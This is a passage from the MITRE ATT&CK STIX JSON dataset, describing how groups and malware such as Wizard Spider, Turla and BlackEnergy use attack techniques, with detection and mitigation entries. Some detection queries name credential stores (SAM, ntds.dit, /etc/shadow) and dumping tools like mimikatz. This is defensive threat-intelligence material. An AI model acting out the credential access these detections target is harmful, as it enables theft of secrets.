            "description": "[Wizard Spider](https://attack.mitre.org/groups/G0102) has used valid credentials for privileged accounts with the goal of accessing domain controllers.(Citation: CrowdStrike Grim Spider May 2019)(Citation: Mandiant FIN12 Oct 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--dd2d9ca6-505b-4860-a604-233685b802c7",
            "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ad0a3982-7d88-4037-9078-000cb4d5746e",
            "created": "2022-03-30T14:26:51.850Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "modified": "2025-04-28T16:04:56.815Z",
            "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd",
            "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ad0b78f7-37e9-489b-b4ae-ee9c3d8a2075",
            "created": "2021-01-11T19:29:56.371Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Red Canary NETWIRE January 2020",
                    "description": "Lambert, T. (2020, January 29). Intro to Netwire. Retrieved January 7, 2021.",
                    "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/"
                },
                {
                    "source_name": "Proofpoint NETWIRE December 2020",
                    "description": "Proofpoint. (2020, December 2). Geofenced NetWire Campaigns. Retrieved January 7, 2021.",
                    "url": "https://www.proofpoint.com/us/blog/threat-insight/geofenced-netwire-campaigns"
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            ],
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                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:04:56.990Z",
            "description": "[NETWIRE](https://attack.mitre.org/software/S0198) can issue commands using cmd.exe.(Citation: Red Canary NETWIRE January 2020)(Citation: Proofpoint NETWIRE December 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--2a70812b-f1ef-44db-8578-a496a227aef2",
            "target_ref": "attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62",
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            "x_mitre_attack_spec_version": "3.2.0"
        },
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            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ad13d567-26ad-46bf-86ba-e2b050d31820",
            "created": "2023-12-27T18:00:47.678Z",
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            ],
            "modified": "2025-04-16T22:39:15.837Z",
            "description": "Monitor for the unexpected creation of memory dump files for processes that may contain credentials.\n\nAnalytic 1 - Unexpected memory dump file creation.\n\n<code>(index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName IN (\"*lsass*.dmp\", \"*\\\\config\\\\SAM\", \"*\\\\ntds.dit\", \"*\\\\policy\\\\secrets\", \"*\\\\cache\"))\nOR \n(index=security sourcetype=\"linux_secure\" (key=\"path\" value IN (\"/etc/passwd\", \"/etc/shadow\")))\nOR \n(index=security sourcetype=\"macOS:UnifiedLog\" message IN (\"/var/db/shadow/hash/*\", \"/private/etc/master.passwd\"))</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ad1695a7-76ee-493c-a983-9fa240b8ebb6",
            "created": "2022-03-30T14:26:51.833Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
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            ],
            "modified": "2025-04-16T22:39:16.040Z",
            "description": "Collect usage logs from cloud administrator accounts to identify unusual activity in the assignment of roles to those accounts. Monitor for accounts assigned to admin roles that go over a certain threshold of known admins. Monitor for updates to IAM policies and roles attached to user accounts.\n\nAnalytic 1 - Unusual ActorPrincipalNames, unexpected role assignments to sensitive roles (e.g., Global Admin)\n\nNote: To detect the assignment of additional cloud roles using potentially hijacked accounts.\n\n<code> \"index=\"\"azure_ad_audit_logs\"\" Category=\"\"RoleManagement\"\" Activity=\"\"Add member to role\"\"\n| search ActorPrincipalName=\"\"*\"\" AND (Target1ModifiedProperty1NewValue=\"\"Global Administrator\"\" OR Target1ModifiedProperty2NewValue=\"\"Global Administrator\"\") AND IPAddress!=\"\"expected_ip\"\"\n| table Time, ActorPrincipalName, IPAddress, Target1UserPrincipalName, Target1ModifiedProperty1NewValue\"</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77",
            "target_ref": "attack-pattern--2dbbdcd5-92cf-44c0-aea2-fe24783a6bc3",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ad1d9fc5-b971-4a89-a099-128317dd1e41",
            "created": "2021-06-30T19:41:41.845Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Bitdefender Naikon April 2021",
                    "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021.",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf"
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            "modified": "2025-04-28T16:04:57.332Z",
            "description": "[Nebulae](https://attack.mitre.org/software/S0630) uses functions named <code>StartUserModeBrowserInjection</code> and <code>StopUserModeBrowserInjection</code> indicating that it's trying to imitate chrome_frame_helper.dll.(Citation: Bitdefender Naikon April 2021)",
            "relationship_type": "uses",
            "source_ref": "malware--22b17791-45bf-45c0-9322-ff1a0af5cf2b",
            "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
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            "spec_version": "2.1",
            "id": "relationship--ad1dbd46-fe1c-40e3-ab1c-957f6d62839a",
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            "revoked": false,
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            ],
            "modified": "2025-04-16T22:39:16.462Z",
            "description": "Monitor newly executed processes that may search compromised systems to find and obtain insecurely stored credentials.\n\nAnalytic 1 - New processes with parameters indicating credential searches.\n\n<code> (index=security sourcetype=\"WinEventLog:Security\" EventCode=4688 CommandLine=\"*password*\" OR CommandLine=\"*credential*\") OR\n(index=sysmon sourcetype=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 CommandLine=\"*password*\" OR CommandLine=\"*credential*\") OR\n(index=os sourcetype=\"linux_audit\" action=\"execve\" CommandLine=\"*password*\" OR CommandLine=\"*credential*\") OR\n(index=os sourcetype=\"macos_secure\" event_type=\"execve\" CommandLine=\"*password*\" OR CommandLine=\"*credential*\")</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077",
            "target_ref": "attack-pattern--435dfb86-2697-4867-85b5-2fef496c0517",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ad218869-4efa-423e-9ab2-1da36ce694fb",
            "created": "2022-03-30T14:26:51.873Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:04:57.644Z",
            "description": "Monitor for changes made to files that may establish persistence by executing malicious content triggered by an interrupt signal.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--84572de3-9583-4c73-aabd-06ea88123dd8",
            "target_ref": "attack-pattern--63220765-d418-44de-8fae-694b3912317d",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ad257565-2097-4cdc-9a52-3e54a7188f02",
            "created": "2020-03-12T17:20:43.096Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "CoinTicker 2019",
                    "description": "Thomas Reed. (2018, October 29). Mac cryptocurrency ticker app installs backdoors. Retrieved April 23, 2019.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2018/10/mac-cryptocurrency-ticker-app-installs-backdoors/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:04:57.820Z",
            "description": "[CoinTicker](https://attack.mitre.org/software/S0369) creates user launch agents named .espl.plist and com.apple.[random string].plist to establish persistence.(Citation: CoinTicker 2019)\t",
            "relationship_type": "uses",
            "source_ref": "malware--d1531eaa-9e17-473e-a680-3298469662c3",
            "target_ref": "attack-pattern--d10cbd34-42e3-45c0-84d2-535a09849584",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--ad278368-be64-497f-abc3-024ee8447ef8",
            "created": "2022-05-26T14:19:08.287Z",
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            "revoked": false,
            "external_references": [
                {
                    "source_name": "DFIR Phosphorus November 2021",
                    "description": "DFIR Report. (2021, November 15). Exchange Exploit Leads to Domain Wide Ransomware. Retrieved January 5, 2023.",
                    "url": "https://thedfirreport.com/2021/11/15/exchange-exploit-leads-to-domain-wide-ransomware/"
                },
                {
                    "source_name": "DFIR Report APT35 ProxyShell March 2022",
                    "description": "DFIR Report. (2022, March 21). APT35 Automates Initial Access Using ProxyShell. Retrieved May 25, 2022.",
                    "url": "https://thedfirreport.com/2022/03/21/apt35-automates-initial-access-using-proxyshell"
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            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-16T22:39:16.910Z",
            "description": "[Magic Hound](https://attack.mitre.org/groups/G0059) has exported emails from compromised Exchange servers including through use of the cmdlet `New-MailboxExportRequest.`(Citation: DFIR Report APT35 ProxyShell March 2022)(Citation: DFIR Phosphorus November 2021)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--f9d6633a-55e6-4adc-9263-6ae080421a13",
            "target_ref": "attack-pattern--b4694861-542c-48ea-9eb1-10d356e7140a",
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            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
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            "id": "relationship--ad2efb21-6884-422f-8e89-fc0b1d2dcbb0",
            "created": "2019-06-20T20:53:17.550Z",
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            "external_references": [
                {
                    "source_name": "ESET Turla PowerShell May 2019",
                    "description": "Faou, M. and Dumont R.. (2019, May 29). A dive into Turla PowerShell usage. Retrieved June 14, 2019.",
                    "url": "https://www.welivesecurity.com/2019/05/29/turla-powershell-usage/"
                },
                {
                    "source_name": "Symantec Waterbug Jun 2019",
                    "description": "Symantec DeepSight Adversary Intelligence Team. (2019, June 20). Waterbug: Espionage Group Rolls Out Brand-New Toolset in Attacks Against Governments. Retrieved July 8, 2019.",
                    "url": "https://www.symantec.com/blogs/threat-intelligence/waterbug-espionage-governments"
                }
            ],
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            "modified": "2025-04-28T16:04:58.087Z",
            "description": "[Turla](https://attack.mitre.org/groups/G0010) RPC backdoors can collect files from USB thumb drives.(Citation: ESET Turla PowerShell May 2019)(Citation: Symantec Waterbug Jun 2019)",
            "relationship_type": "uses",
            "source_ref": "intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6",
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                    "source_name": "Symantec Inception Framework March 2018",
                    "description": "Symantec. (2018, March 14). Inception Framework: Alive and Well, and Hiding Behind Proxies. Retrieved May 8, 2020.",
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            "description": "[Inception](https://attack.mitre.org/groups/G0100) used a browser plugin to steal passwords and sessions from Internet Explorer, Chrome, Opera, Firefox, Torch, and Yandex.(Citation: Symantec Inception Framework March 2018)",
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                {
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                    "description": "Microsoft. (2022, November 17). Just Enough Administration. Retrieved March 27, 2023.",
                    "url": "https://learn.microsoft.com/powershell/scripting/learn/remoting/jea/overview?view=powershell-7.3"
                },
                {
                    "source_name": "Netspi PowerShell Execution Policy Bypass",
                    "description": "Sutherland, S. (2014, September 9). 15 Ways to Bypass the PowerShell Execution Policy. Retrieved September 12, 2024.",
                    "url": "https://www.netspi.com/blog/technical-blog/network-penetration-testing/15-ways-to-bypass-the-powershell-execution-policy/"
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            "description": "When PowerShell is necessary, consider restricting PowerShell execution policy to administrators. Be aware that there are methods of bypassing the PowerShell execution policy, depending on environment configuration.(Citation: Netspi PowerShell Execution Policy Bypass)\n\nPowerShell JEA (Just Enough Administration) may also be used to sandbox administration and limit what commands admins/users can execute through remote PowerShell sessions.(Citation: Microsoft PS JEA)",
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            "description": "Monitor container creation to detect suspicious or unknown images being deployed. Ensure that only authorized images are being used in the environment, especially in sensitive areas.\n\nAnalytic 1 - Creation of unexpected or unauthorized containers\n\n<code>sourcetype=docker:daemon OR sourcetype=kubernetes:event\n| search action=\"create\"\n| where image NOT IN (\"known_images_list\")\n</code>",
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                {
                    "source_name": "Microsoft Moonstone Sleet 2024",
                    "description": "Microsoft Threat Intelligence. (2024, May 28). Moonstone Sleet emerges as new North Korean threat actor with new bag of tricks. Retrieved August 26, 2024.",
                    "url": "https://www.microsoft.com/en-us/security/blog/2024/05/28/moonstone-sleet-emerges-as-new-north-korean-threat-actor-with-new-bag-of-tricks/"
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            "description": "[Moonstone Sleet](https://attack.mitre.org/groups/G1036) retrieved a final stage payload from command and control infrastructure during initial installation on victim systems.(Citation: Microsoft Moonstone Sleet 2024)",
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                    "source_name": "Symantec Dragonfly",
                    "description": "Symantec Security Response. (2014, June 30). Dragonfly: Cyberespionage Attacks Against Energy Suppliers. Retrieved April 8, 2016.",
                    "url": "https://community.broadcom.com/symantecenterprise/communities/community-home/librarydocuments/viewdocument?DocumentKey=7382dce7-0260-4782-84cc-890971ed3f17&CommunityKey=1ecf5f55-9545-44d6-b0f4-4e4a7f5f5e68&tab=librarydocuments"
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            "description": "Some [Backdoor.Oldrea](https://attack.mitre.org/software/S0093) samples contain a publicly available Web browser password recovery tool.(Citation: Symantec Dragonfly)",
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                    "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.",
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                    "description": "Novetta. (n.d.). Operation SMN: Axiom Threat Actor Group Report. Retrieved November 12, 2014.",
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            "description": "Monitor executed commands and arguments that may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.",
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                {
                    "source_name": "Cybereason Kimsuky November 2020",
                    "description": "Dahan, A. et al. (2020, November 2). Back to the Future: Inside the Kimsuky KGH Spyware Suite. Retrieved November 6, 2020.",
                    "url": "https://www.cybereason.com/blog/back-to-the-future-inside-the-kimsuky-kgh-spyware-suite"
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            "description": "[CSPY Downloader](https://attack.mitre.org/software/S0527) can bypass UAC using the SilentCleanup task to execute the binary with elevated privileges.(Citation: Cybereason Kimsuky November 2020)",
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                    "description": "Hacquebord, F.. (2017, April 25). Pawn Storm Abuses Open Authentication in Advanced Social Engineering Attacks. Retrieved October 4, 2019.",
                    "url": "https://blog.trendmicro.com/trendlabs-security-intelligence/pawn-storm-abuses-open-authentication-advanced-social-engineering-attacks"
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            "description": "[APT28](https://attack.mitre.org/groups/G0007) has used several malicious applications that abused OAuth access tokens to gain access to target email accounts, including Gmail and Yahoo Mail.(Citation: Trend Micro Pawn Storm OAuth 2017)",
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                    "source_name": "PTSecurity Cobalt Dec 2016",
                    "description": "Positive Technologies. (2016, December 16). Cobalt Snatch. Retrieved October 9, 2018.",
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                    "description": "Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.",
                    "url": "https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"
                },
                {
                    "source_name": "Rostovcev APT41 2021",
                    "description": "Nikita Rostovcev. (2022, August 18). APT41 World Tour 2021 on a tight schedule. Retrieved February 22, 2024.",
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            "description": "[APT41](https://attack.mitre.org/groups/G0096) has executed <code>whoami</code> commands, including using the WMIEXEC utility to execute this on remote machines.(Citation: FireEye APT41 Aug 2019)(Citation: Rostovcev APT41 2021)",
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                    "source_name": "Vulnerability and Exploit Detector",
                    "description": "Kanthak, S.. (2016, July 20). Vulnerability and Exploit Detector. Retrieved February 3, 2017.",
                    "url": "https://skanthak.homepage.t-online.de/sentinel.html"
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                {
                    "source_name": "Microsoft CreateProcess",
                    "description": "Microsoft. (n.d.). CreateProcess function. Retrieved September 12, 2024.",
                    "url": "https://learn.microsoft.com/en-us/windows/win32/api/processthreadsapi/nf-processthreadsapi-createprocessa"
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                {
                    "source_name": "Microsoft Dynamic-Link Library Security",
                    "description": "Microsoft. (n.d.). Dynamic-Link Library Security. Retrieved July 25, 2016.",
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                    "description": "F-Secure Labs. (2014). BlackEnergy & Quedagh: The convergence of crimeware and APT attacks. Retrieved March 24, 2016.",
                    "url": "https://blog-assets.f-secure.com/wp-content/uploads/2019/10/15163408/BlackEnergy_Quedagh.pdf"
                },
                {
                    "source_name": "Securelist BlackEnergy Nov 2014",
                    "description": "Baumgartner, K. and Garnaeva, M.. (2014, November 3). BE2 custom plugins, router abuse, and target profiles. Retrieved March 24, 2016.",
                    "url": "https://securelist.com/be2-custom-plugins-router-abuse-and-target-profiles/67353/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:05:16.860Z",
            "description": "[BlackEnergy](https://attack.mitre.org/software/S0089) has used a plug-in to gather credentials stored in files on the host by various software programs, including The Bat! email client, Outlook, and Windows Credential Store.(Citation: F-Secure BlackEnergy 2014)(Citation: Securelist BlackEnergy Nov 2014)",
            "relationship_type": "uses",
            "source_ref": "malware--54cc1d4f-5c53-4f0e-9ef5-11b4998e82e4",
            "target_ref": "attack-pattern--837f9164-50af-4ac0-8219-379d8a74cefc",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aec81750-6baf-49f4-8607-d4c1811f0baa",
            "created": "2022-03-30T14:26:51.850Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:05:17.022Z",
            "description": "Monitor for any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--9f387817-df83-432a-b56b-a8fb7f71eedd",
            "target_ref": "attack-pattern--22905430-4901-4c2a-84f6-98243cb173f8",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aec82e75-52d3-4139-aded-73cd1fe5e39b",
            "created": "2022-04-28T15:23:36.396Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:39:46.592Z",
            "description": "Monitor command-line usage for <code>-AllowReversiblePasswordEncryption $true</code> or other actions that could be related to malicious tampering of user settings (i.e. [Group Policy Modification](https://attack.mitre.org/techniques/T1484/001)). \n\nAnalytic 1 - Command-line actions indicating changes to encryption settings.\n\n<code> index=security (sourcetype=\"WinEventLog:Security\" OR sourcetype=\"powershell\")(EventCode=4688 OR EventCode=4104) commandline=\"*set-aduser*\" commandline=\"*allowreversiblepasswordencryption*\" \n        | table _time, Process_ID, User, CommandLine</code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0",
            "target_ref": "attack-pattern--d50955c2-272d-4ac8-95da-10c29dda1c48",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aec8bec0-d7ee-41a8-aef6-9ea18b1b59ab",
            "created": "2022-03-30T14:26:51.853Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:05:17.274Z",
            "description": "Monitor for traffic on ports UDP 5355 and UDP 137 if LLMNR/NetBIOS is disabled by security policy.",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
            "target_ref": "attack-pattern--650c784b-7504-4df7-ab2c-4ea882384d1e",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aec8c69a-43f1-45e3-a7de-d2fa2ca7550e",
            "created": "2024-11-26T15:49:30.242Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "ESET OilRig Campaigns Sep 2023",
                    "description": "Hromcova, Z. and Burgher, A. (2023, September 21). OilRig\u2019s Outer Space and Juicy Mix: Same ol\u2019 rig, new drill pipes. Retrieved November 21, 2024.",
                    "url": "https://www.welivesecurity.com/en/eset-research/oilrigs-outer-space-juicy-mix-same-ol-rig-new-drill-pipes/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:39:46.809Z",
            "description": "[Mango](https://attack.mitre.org/software/S1169) can collect the user name from a compromised system which is used to create a unique victim identifier.(Citation: ESET OilRig Campaigns Sep 2023)",
            "relationship_type": "uses",
            "source_ref": "malware--c5ec3344-e156-4b41-accb-274362e5dae8",
            "target_ref": "attack-pattern--03d7999c-1f4c-42cc-8373-e7690d318104",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aecb4057-07a2-4b44-805a-5566a4047e23",
            "created": "2020-11-16T19:36:31.507Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "Unit 42 Lucifer June 2020",
                    "description": "Hsu, K. et al. (2020, June 24). Lucifer: New Cryptojacking and DDoS Hybrid Malware Exploiting High and Critical Vulnerabilities to Infect Windows Devices. Retrieved November 16, 2020.",
                    "url": "https://unit42.paloaltonetworks.com/lucifer-new-cryptojacking-and-ddos-hybrid-malware/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-28T16:05:17.520Z",
            "description": "[Lucifer](https://attack.mitre.org/software/S0532) can collect the computer name, system architecture, default language, and processor frequency of a compromised host.(Citation: Unit 42 Lucifer June 2020)",
            "relationship_type": "uses",
            "source_ref": "malware--54a73038-1937-4d71-a253-316e76d5413c",
            "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aeceafe5-efd2-413d-aa85-5ad99f3951a9",
            "created": "2022-03-30T14:26:51.858Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:39:47.257Z",
            "description": "Monitor for the SAM registry key being accessed that may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software.\n\nAnalytic 1 - Unauthorized registry access to SAM key.\n\n<code> index=security sourcetype=\"WinEventLog:Security\" EventCode=4663 ObjectName=\"*\\\\SAM\" | where ProcessName IN (\"mimikatz.exe\", \"procdump.exe\", \"reg.exe\", \"powershell.exe\", \"wmic.exe\", \"schtasks.exe\", \"cmd.exe\") </code>",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--ed0dd8aa-1677-4551-bb7d-8da767617e1b",
            "target_ref": "attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aed66fc1-f158-4518-8b33-8b95cbe5d168",
            "created": "2022-03-30T14:26:51.841Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "University of Birmingham C2",
                    "description": "Gardiner, J.,  Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.",
                    "url": "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:39:47.458Z",
            "description": "Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)",
            "relationship_type": "detects",
            "source_ref": "x-mitre-data-component--3772e279-27d6-477a-9fe3-c6beb363594c",
            "target_ref": "attack-pattern--ad255bfe-a9e6-4b52-a258-8d3462abe842",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aed677d9-a79f-4448-b6a9-3df4d647730b",
            "created": "2023-01-30T15:17:10.472Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:39:47.659Z",
            "description": "Routinely check account role permissions to ensure only expected users and roles have permission to modify system firewalls.",
            "relationship_type": "mitigates",
            "source_ref": "course-of-action--cc2399fd-3cd3-4319-8d0a-fbd6420cdaf8",
            "target_ref": "attack-pattern--5372c5fe-f424-4def-bcd5-d3a8e770f07b",
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_deprecated": false,
            "x_mitre_attack_spec_version": "3.2.0"
        },
        {
            "type": "relationship",
            "spec_version": "2.1",
            "id": "relationship--aed72ec7-c810-4f29-9626-6dad85c3f8d8",
            "created": "2022-03-30T14:26:51.859Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "FireEyeSupplyChain",
                    "description": "FireEye. (2014). SUPPLY CHAIN ANALYSIS: From Quartermaster to SunshopFireEye. Retrieved March 6, 2017.",
                    "url": "https://www.mandiant.com/resources/supply-chain-analysis-from-quartermaster-to-sunshop"
                },
                {
                    "source_name": "Analyzing CS Dec 2020",
                    "description": "Maynier, E. (2020, December 20). Analyzing Cobalt Strike for Fun and Profit. Retrieved October 12, 2021.",
                    "url": "https://www.randhome.io/blog/2020/12/20/analyzing-cobalt-strike-for-fun-and-profit/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-16T22:39:47.864Z",
